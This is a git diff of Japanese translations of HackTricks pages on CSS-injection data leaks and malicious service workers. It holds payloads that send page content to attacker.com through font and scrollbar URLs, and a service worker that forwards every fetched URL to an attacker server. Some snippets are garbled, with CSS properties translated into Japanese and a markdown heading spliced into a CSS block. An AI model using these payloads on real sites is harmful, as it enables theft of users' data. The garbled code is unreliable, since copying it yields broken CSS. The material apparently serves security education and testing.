### その他のセレクタ ### その他のセレクタ
@ -125,9 +123,9 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
### エラーベースのXS-Search ### エラーベースのXS-Search
**参考:** [CSSベースの攻撃:@font-faceのunicode-rangeを悪用](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [@terjanqによるエラーベースのXS-Search PoC](https://twitter.com/terjanq/status/1180477124861407234) **参考:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
全体的な意図は、**制御されたエンドポイントからカスタムフォントを使用**し、**指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、テキスト(この場合は 'A')がこのフォントで表示されるようにすること**です。 全体的な意図は、**制御されたエンドポイントからカスタムフォントを使用**し、**指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、このフォントでテキスト(この場合は 'A')が表示されるようにすること**です。
```html ```html
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
@ -154,19 +152,19 @@ font-family: 'poc';
1. **カスタムフォントの使用**: 1. **カスタムフォントの使用**:
- カスタムフォントは、`<head>`セクション内の`<style>``@font-face`使 - カスタムフォントは、`<head>`セクション内の`<style>``@font-face`使
- フォントの名前は`poc`であり、外部エンドポイント(`http://attacker.com/?leak`)から取得されます。 - フォントの名前は`poc`であり、外部エンドポイント(`http://attacker.com/?leak`)から取得されます。
- `unicode-range`プロパティは、特定のUnicode文字「A」をターゲットとする`U+0041`に設定されています。 - `unicode-range`プロパティは、特定のUnicode文字 'A' をターゲットとする`U+0041`に設定されています。
2. **フォールバックテキストを持つオブジェクト要素**: 2. **フォールバックテキストを持つオブジェクト要素**:
- `<body>`セクションに`id="poc0"`を持つ`<object>`要素が作成されます。この要素は`http://192.168.0.1/favicon.ico`からリソースを読み込もうとします。 - `<body>`セクションに`id="poc0"`を持つ`<object>`要素が作成されます。この要素は`http://192.168.0.1/favicon.ico`からリソースを読み込もうとします。
- この要素の`font-family`は、`<style>``'poc'` - この要素の`font-family`は、`<style>``'poc'`
- リソース(`favicon.ico`)の読み込みに失敗した場合、`<object>`タグ内のフォールバックコンテンツ(文字「A」)が表示されます。 - リソース(`favicon.ico`)の読み込みに失敗した場合、`<object>`タグ内のフォールバックコンテンツ(文字 'A')が表示されます。
- 外部リソースが読み込めない場合、フォールバックコンテンツ(「A」)はカスタムフォント`poc`を使用してレンダリングされます。 - 外部リソースが読み込めない場合、フォールバックコンテンツ('A')はカスタムフォント`poc`を使用してレンダリングされます。
### スクロールしてテキストフラグメントをスタイリングする ### スクロールしてテキストフラグメントをスタイリングする
**`:target`**疑似クラスは、[CSSセレクターレベル4仕様](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定されているように、**URLフラグメント**によってターゲットされた要素を選択するために使用されます。`::target-text`は、テキストが明示的にフラグメントによってターゲットされていない限り、どの要素にも一致しません。 **`:target`**疑似クラスは、[CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定されているように、**URLフラグメント**によってターゲットされた要素を選択するために使用されます。`::target-text`は、テキストが明示的にフラグメントによってターゲットされていない限り、どの要素にも一致しません。
攻撃者が**スクロールしてテキスト**フラグメント機能を悪用すると、HTMLインジェクションを介して自身のサーバーからリソースを読み込むことで、特定のテキストがウェブページに存在することを確認できるようになります。この方法は、次のようなCSSルールをインジェクトすることを含みます: 攻撃者が**スクロールしてテキスト**フラグメント機能を悪用すると、HTMLインジェクションを介して自身のサーバーからリソースを読み込むことで、特定のテキストの存在を確認することができるセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールをインジェクトすることを含みます:
```css ```css
:target::before { content : url(target.png) } :target::before { content : url(target.png) }
``` ```
@ -179,14 +177,18 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
緩和策として、以下の点に注意する必要があります: 緩和策として、以下の点に注意する必要があります:
1. **制約されたSTTFマッチング**Scroll-to-text Fragment (STTF)は、単語や文章のみに一致するよう設計されており、任意の秘密情報やトークンを漏洩させる能力が制限されています。 1. **制約されたSTTFマッチング**Scroll-to-text Fragment (STTF)は、単語や文章のみに一致するよう設計されており、任意の秘密情報やトークンを漏洩させる能力が制限されています。
2. **トップレベルのブラウジングコンテキストへの制限**STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframe内では機能しないため、攻撃試行がユーザーによりより目立つものとなります。 2. **トップレベルのブラウジングコンテキストへの制限**STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframe内では機能しないため、攻撃の試みがユーザーによりより目立つものとなります。
3. **ユーザーアクティベーションの必要性**STTFはユーザーアクティベーションのジェスチャーを必要とし、そのため、攻撃はユーザーによるナビゲーションを通じてのみ実行可能です。この要件により、攻撃がユーザーの介入なしに自動化されるリスクがかなり軽減されます。ただし、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのやり取り)を指摘しています。 3. **ユーザーアクティベーションの必要性**STTFはユーザーアクティベーションのジェスチャーが必要であり、そのため、攻撃はユーザーが起動したナビゲーションを通じてのみ実行可能です。この要件により、攻撃がユーザーの介入なしに自動化されるリスクがかなり軽減されます。ただし、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのやり取り)を指摘しています。
これらのメカニズムと潜在的な脆弱性に対する認識は、Webセキュリティを維持し、このような悪用的な手法に対して保護するために重要です。 これらのメカニズムと潜在的な脆弱性に対する認識は、Webセキュリティを維持し、このような悪用的な手法に対抗するための鍵となります。
詳細については、元のレポートをご確認ください:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/) 詳細については、元のレポートをご確認ください:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
このテクニックを使用したCTFの**エクスプロイトはこちら**をご確認ください:[https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。 このテクニックを使用したCTFの[**エクスプロイトはこちらから**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)確認できます。
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
特定のUnicode値に対して**外部フォントを指定**し、そのUnicode値がページに存在する場合のみ**収集される**ようにすることができます。例:
```html ```html
<style> <style>
@font-face{ @font-face{
@ -218,13 +220,13 @@ font-family:poc;
説明されている技術は、フォントリガチャを悪用してノードからテキストを抽出し、幅の変化を監視することに関与します。このプロセスにはいくつかのステップが含まれます: 説明されている技術は、フォントリガチャを悪用してノードからテキストを抽出し、幅の変化を監視することに関与します。このプロセスにはいくつかのステップが含まれます:
1. **カスタムフォントの作成**: 1. **カスタムフォントの作成**:
- SVGフォントは、`horiz-adv-x`属性を持つグリフを持つように作成されます。これにより、2文字のシーケンスを表すグリフの幅が大きく設定されます。 - SVGフォントは、`horiz-adv-x`属性を持つグリフを作成し、2文字のシーケンスを表すグリフに大きな幅を設定します。
- 例:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`というSVGグリフ。ここで"XY"は2文字のシーケンスを示します。 - 例:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`ここで"XY"は2文字のシーケンスを示します。
- これらのフォントは、fontforgeを使用してwoff形式に変換されます。 - これらのフォントは、fontforgeを使用してwoff形式に変換されます。
2. **幅の変化の検出**: 2. **幅の変化の検出**:
- CSSを使用して、テキストが折り返されないようにする`white-space: nowrap`)と、スクロールバースタイルをカスタマイズします。 - CSSを使用して、テキストが折り返されないようにする`white-space: nowrap`)と、スクロールバースタイルをカスタマイズします。
- 水平スクロールバーが現れ、はっきりとスタイルが異なる場合、特定のリガチャ(したがって特定の文字シーケンス)がテキストに存在することを示すオラクルとして機能します。 - 水平スクロールバーが現れ、はっきりとスタイルが異なる場合、特定のリガチャ(およびしたがって特定の文字シーケンス)がテキストに存在することを示すインジケータ(オラクルとして機能します。
- 関連するCSS - 関連するCSS
```css ```css
body { white-space: nowrap }; body { white-space: nowrap };
@ -232,8 +234,8 @@ body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
``` ```
3. **悪用プロセス**: 3. **攻撃プロセス**:
- **ステップ1**:幅の大きい文字のペアのためのフォントが作成されます。 - **ステップ1**:幅の大きな文字のペア用のフォントが作成されます。
- **ステップ2**:大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされたときに検出するために、スクロールバーを利用したトリックが使用されます。これは、文字シーケンスが存在することを示します。 - **ステップ2**:大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされたときに検出するために、スクロールバーを利用したトリックが使用されます。これは、文字シーケンスが存在することを示します。
- **ステップ3**リガチャを検出した後、検出されたペアを組み込み、前後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。 - **ステップ3**リガチャを検出した後、検出されたペアを組み込み、前後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
- **ステップ4**3文字のリガチャの検出が行われます。 - **ステップ4**3文字のリガチャの検出が行われます。
@ -241,15 +243,15 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
4. **最適化**: 4. **最適化**:
- 現在の`<meta refresh=...`を使用した初期化方法は最適ではありません。 - 現在の`<meta refresh=...`を使用した初期化方法は最適ではありません。
- より効率的なアプローチは、CSSの`@import`トリックを使用して、悪用のパフォーマンスを向上させることができます。 - より効率的なアプローチは、CSSの`@import`トリックを使用して、攻撃のパフォーマンスを向上させることができます。
### テキストードの情報漏洩IIデフォルトフォントを使用して文字セットを漏洩する(外部アセットを必要としない <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### テキストードの情報漏洩IIデフォルトフォントを使用して文字セットを漏洩(外部アセットは不要 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) **参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
このトリックは、この[**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/)で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされている**デフォルトフォント**を使用して漏洩できます:外部 -またはカスタム- フォントは必要ありません。 このトリックは、この[**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/)で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされている**デフォルトフォント**を使用して漏洩できます:外部 -またはカスタム- フォントは必要ありません。
このコンセプトは、アニメーションを利用して`div`の幅を段階的に拡大し、1文字ずつテキストの「接尾辞」部分から「接頭辞」部分に移行させることを中心に展開されます。このプロセスにより、テキストは次の2つのセクションに分割されます このコンセプトは、アニメーションを利用して`div`の幅を段階的に拡大し、1文字ずつテキストの「接尾辞」部分から「接頭辞」部分に移行させることを可能にすることに関わります。このプロセスにより、テキストは次の2つのセクションに分割されます
1. **接頭辞**:初期の行。 1. **接頭辞**:初期の行。
2. **接尾辞**:後続の行。 2. **接尾辞**:後続の行。
@ -268,7 +270,7 @@ B
**CADB** **CADB**
この遷移中、**unicode-rangeトリック**が使用され、各新しい文字が接頭辞に加わるたびに識別されます。これは、デフォルトフォントよりも明らかに高いComic Sansフォントにフォントを切り替えることによって達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの表示により、接頭辞に新しい文字が存在することが間接的に明らかになります。 この遷移中、**unicode-rangeトリック**が使用され、各新しい文字が接頭辞に加わるたびに識別されます。これは、デフォルトフォントよりも明らかに高いComic Sansフォントにフォントを切り替えることによって達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの表示により、接頭辞に新しい文字が存在することが間接的に明らかになります。
この方法は、新しい文字が現れるたびに一意の文字を検出することを可能にしますが、繰り返された文字がどれであるかを特定しません。 この方法は、新しい文字が現れるたびに一意の文字を検出することを可能にしますが、繰り返された文字がどれであるかを特定しません。
```css ```css
@ -381,26 +383,28 @@ text-transform: uppercase; /* only capital letters leak */
3% { width: 60px } 3% { width: 60px }
4% { width: 80px } 4% { width: 80px }
4% { width: 100px } 4% { width: 100px }
```html ```markdown
<p>5% { 幅: 120px }</p> ### CSSインジェクション
<p>6% { 幅: 140px }</p>
<p>7% { 幅: 0px }</p> 5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
} }
<div>::-webkit-scrollbar { div::-webkit-scrollbar {
背景: 青色; background: blue;
} }
/* side-channel */ /* side-channel */
<div>::-webkit-scrollbar:vertical { div::-webkit-scrollbar:vertical {
背景: 青色 var(--leak); background: blue var(--leak);
} }
``` ```
### テキストードの情報漏洩IIIデフォルトフォント要素を非表示にすることで文字セットを漏洩する(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### テキストードの情報漏洩IIIデフォルトフォントを使用して要素を非表示にすることで文字セットを漏洩する(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参照:** これは[この解説記事で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **参照:** これは[この解説記事で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
このケースは前のものと非常に似ていますが、この場合、特定の**文字を他の文字より大きくする目的は、ボットに押されないようにするためのボタンを隠したり、読み込まれない画像を隠したりする**ことです。そのため、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。 このケースは前のものと非常に似ていますが、この場合、特定の**文字を他の文字より大きくする目的は、ボットに押されないようにするためのボタンや読み込まれない画像などを非表示にする**ことです。そのため、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。
### テキストードの情報漏洩IIIキャッシュタイミングによる文字セットの漏洩外部アセットは不要 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### テキストードの情報漏洩IIIキャッシュタイミングによる文字セットの漏洩外部アセットは不要 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
@ -414,15 +418,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041; unicode-range: U+0041;
} }
``` ```
もし一致があれば、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。読み込みは成功しませんが、**ブラウザはそれをキャッシュ**し、キャッシュがなくても **304 not modified** のメカニズムがあるため、**他のものよりも応答が速くなるはず**です。 もし一致があれば、**フォントは `/static/bootstrap.min.css?q=1` から読み込まれます**。読み込みは成功しませんが、**ブラウザはキャッシュする**はずであり、キャッシュがなくても **304 Not Modified** のメカニズムがあるため、**他の方法よりも応答が速くなるはず**です。
ただし、キャッシュされた応答と非キャッシュされた応答の時間差が十分に大きくない場合、これは役立ちません。たとえば、著者は次のように述べています: しかし、テストの結果、最初の問題は速度があまり変わらないことであり、2番目の問題はボットが `disk-cache-size=1` フラグを使用していることですが、これは本当に考えられています。 ただし、キャッシュされた応答と非キャッシュの応答の時間差が十分に大きくない場合、これは役に立ちません。例えば、著者は次のように述べています: しかし、テストの結果、最初の問題は速度があまり変わらないことであり、2番目の問題はボットが `disk-cache-size=1` フラグを使用していることですが、これは本当に考えられています。
### テキストードの情報漏洩III: 数百のローカル "フォント" をタイミングロードすることによる文字セットの漏洩(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### テキストードの情報漏洩III: 数百のローカル "フォント" を読み込むことで文字セットを漏洩する(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参照:** これは[この解説記事で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **参考:** これは [この解説記事で不成功な解決策として言及されています](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
この場合、一致が発生すると、**CSSを使って同じオリジンから数百の偽のフォントを読み込む**ように指定できます。この方法で、**かかる時間**を測定し、文字が表示されるかどうかを次のように調べることができます: この場合、一致が発生したときに **CSS で数百の偽のフォントを読み込む**ように指定できます。この方法で **かかる時間** を測定し、何らかの方法で文字が表示されるかどうかを調べることができます。
```css ```css
@font-face { @font-face {
font-family: "A1"; font-family: "A1";
@ -448,7 +452,7 @@ time.sleep(30)
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -460,8 +464,8 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -5,16 +5,16 @@
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有する、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@
## 基本情報 ## 基本情報
**サービスワーカー**は、ブラウザがバックグラウンドで実行するスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の機能を強化します。サービスワーカーの詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で確認できます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御できます。 **サービスワーカー**は、ブラウザでバックグラウンドで実行されるスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の機能を強化します。サービスワーカーの詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で見つけることができます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御することができます。
### 既存のサービスワーカーの確認 ### 既存のサービスワーカーの確認
@ -30,16 +30,16 @@
### プッシュ通知 ### プッシュ通知
**プッシュ通知の許可**は、**サービスワーカー**が直接サーバーと通信する能力に影響を与えます。許可が拒否されると、サービスワーカーの悪用の可能性が制限されます。逆に、許可を与えると、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。 **プッシュ通知の許可**は、**サービスワーカー**が直接ユーザーの操作なしにサーバーと通信する能力に直接影響します。許可が拒否されると、サービスワーカーの潜在的な脅威を制限します。逆に、許可を与えることで、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。
## サービスワーカーを作成する攻撃 ## サービスワーカーを作成する攻撃
この脆弱性を悪用するには、次のものを見つける必要があります: この脆弱性を悪用するには、次のものを見つける必要があります:
* **任意のJSファイルをサーバーにアップロードする方法**と、アップロードされたJSファイルの**サービスワーカーをロードするXSS** * サーバーに**任意のJSファイルをアップロード**する方法と、アップロードされたJSファイルのサービスワーカーを**ロードするXSS**
* **出力を操作できる脆弱なJSONPリクエスト**と、**任意のJSコードで出力を操作**できる**XSS**、および**悪意のあるサービスワーカーをロードするペイロード**でJSONPを**ロード**する**脆弱なJSONP**の方法 * **出力を操作できる脆弱なJSONPリクエスト**と、**任意のJSコードで出力を操作**することができる**脆弱なJSONPリクエスト**と、**悪意のあるサービスワーカーをロードするペイロード**でJSONPを**ロードするXSS**
の例では、`fetch`イベントをリッスンし、**取得されたすべてのURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します: 以下の例では、`fetch`イベントをリッスンし、**取得されたすべてのURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します(これは**サーバーにアップロード**するためのコードまたは**脆弱なJSONP**応答を介してロードするためのコードです)
```javascript ```javascript
self.addEventListener('fetch', function(e) { self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) { e.respondWith(caches.match(e.request).then(function(response) {
@ -70,11 +70,11 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
``` ```
**Service Worker (SW)** の悪用に特化した **C2** があり、[**Shadow Workers**](https://shadow-workers.github.io) と呼ばれており、これらの脆弱性を悪用するのに非常に役立ちます。 **Service Worker (SW)** の悪用に特化した **C2** があり、[**Shadow Workers**](https://shadow-workers.github.io) と呼ばれており、これらの脆弱性を悪用するのに非常に役立ちます。
**24時間キャッシュディレクティブ** は、XSSの脆弱性修正された後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された **service worker (SW)** の寿命を最大24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者は SW スクリプトの Time-To-Live (TTL) を下げることができます。開発者はまた、迅速な無効化のために [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) を作成することが推奨されています。 **24時間キャッシュディレクティブ** は、XSSの脆弱性修正後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された **service worker (SW)** の寿命を最大24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者は SW スクリプトの Time-To-Live (TTL) を下げることができます。開発者はまた、迅速な無効化のために [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) を作成することが推奨されています。
## DOM Clobbering を介した SW での `importScripts` の悪用 ## DOM Clobbering を介した SW での `importScripts` の悪用
Service Worker から呼び出される **`importScripts`** 関数は、**異なるドメインからスクリプトをインポート** することができます。この関数が **攻撃者が変更できるパラメータ** を使用して呼び出された場合、彼は **自身のドメインから JS スクリプトをインポート**て XSS を取得できます。 Service Worker から呼び出される **`importScripts`** 関数は、**異なるドメインからスクリプトをインポート** することができます。この関数が **攻撃者が変更できるパラメータ** を使用して呼び出された場合、彼は **自身のドメインから JS スクリプトをインポート**、XSS を取得することができます。
**これは CSP の保護をバイパスします。** **これは CSP の保護をバイパスします。**
@ -102,7 +102,7 @@ DOM Clobberingについての詳細は、以下を参照してください:
[dom-clobbering.md](dom-clobbering.md) [dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %} {% endcontent-ref %}
SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にある**場合、DOM Clobberingを使用してそれを変更し、SWが**自分のドメインからスクリプトを読み込むように**することが可能です。 SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にある場合**、DOM Clobberingを使用してそれを変更し、SWが**自分のドメインからスクリプトを読み込むようにする**ことが可能です。
これの例については、参照リンクを確認してください。 これの例については、参照リンクを確認してください。
@ -112,18 +112,18 @@ SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にあ
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**PDF形式でHackTricksをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**PDFでHackTricksをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます * [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
